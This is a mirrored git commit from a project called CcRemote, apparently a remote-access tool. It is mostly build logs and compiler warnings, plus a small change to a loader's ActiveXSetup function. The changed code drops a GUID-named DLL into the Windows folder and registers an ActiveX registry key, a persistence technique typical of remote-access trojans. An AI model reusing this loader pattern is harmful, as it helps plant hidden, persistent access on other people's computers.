mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-06-08 13:29:50 +00:00
active start
This commit is contained in:
parent
e6236c6fe3
commit
c9028528b2
Binary file not shown.
BIN
CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-shm
Normal file
BIN
CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-shm
Normal file
Binary file not shown.
BIN
CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-wal
Normal file
BIN
CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-wal
Normal file
Binary file not shown.
@ -1,8 +1,8 @@
|
|||||||
g:\ccremote\ccremote\ccmaindll\loder\debug\vc141.pdb
|
g:\ccremote\ccremote\ccmaindll\loder\debug\vc141.pdb
|
||||||
g:\ccremote\ccremote\ccmaindll\loder\debug\vc141.idb
|
g:\ccremote\ccremote\ccmaindll\loder\debug\vc141.idb
|
||||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.obj
|
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.obj
|
||||||
g:\ccremote\ccremote\bin\server\loder.ilk
|
|
||||||
g:\ccremote\ccremote\bin\server\loder.exe
|
g:\ccremote\ccremote\bin\server\loder.exe
|
||||||
|
g:\ccremote\ccremote\bin\server\loder.ilk
|
||||||
g:\ccremote\ccremote\bin\server\loder.pdb
|
g:\ccremote\ccremote\bin\server\loder.pdb
|
||||||
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.res
|
g:\ccremote\ccremote\ccmaindll\loder\debug\loder.res
|
||||||
g:\ccremote\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
|
g:\ccremote\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe
|
||||||
|
@ -1,2 +1,29 @@
|
|||||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||||
|
Loder.cpp
|
||||||
|
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
|
||||||
|
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||||
|
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||||
|
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
|
||||||
|
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||||
|
g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||||
|
g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(247): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明
|
||||||
|
g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(279): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||||
|
g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(285): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||||
|
g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(286): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||||
|
g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||||
|
g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(292): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||||
|
g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(297): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||||
|
g:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||||
Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe
|
Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe
|
||||||
|
@ -5,6 +5,10 @@
|
|||||||
#include <Windows.h>
|
#include <Windows.h>
|
||||||
#include "resource.h"
|
#include "resource.h"
|
||||||
#include "RegEditEx.h"
|
#include "RegEditEx.h"
|
||||||
|
#include <shlobj.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "shell32.lib")
|
||||||
|
|
||||||
bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
|
bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
|
||||||
{
|
{
|
||||||
DWORD dwWritten;
|
DWORD dwWritten;
|
||||||
@ -276,12 +280,14 @@ void ActiveXSetup()
|
|||||||
//得到Activex的GUID
|
//得到Activex的GUID
|
||||||
GetNUM(ActiveXKey);
|
GetNUM(ActiveXKey);
|
||||||
//构造dll完整文件名
|
//构造dll完整文件名
|
||||||
GetSystemDirectory(strFileName, MAX_PATH);
|
//GetSystemDirectory(strFileName, MAX_PATH);
|
||||||
|
SHGetSpecialFolderPath(NULL, strFileName, CSIDL_WINDOWS, TRUE);
|
||||||
strcat(strFileName, "\\");
|
strcat(strFileName, "\\");
|
||||||
strcat(strFileName, ActiveXKey);
|
strcat(strFileName, ActiveXKey);
|
||||||
strcat(strFileName, ".dll");
|
strcat(strFileName, ".dll");
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
//构造ActiveX的注册表键值
|
//构造ActiveX的注册表键值
|
||||||
sprintf(ActivexStr, "%s%s", ActiveXPath, ActiveXKey);
|
sprintf(ActivexStr, "%s%s", ActiveXPath, ActiveXKey);
|
||||||
//创建这个注册表
|
//创建这个注册表
|
||||||
|
Binary file not shown.
Loading…
x
Reference in New Issue
Block a user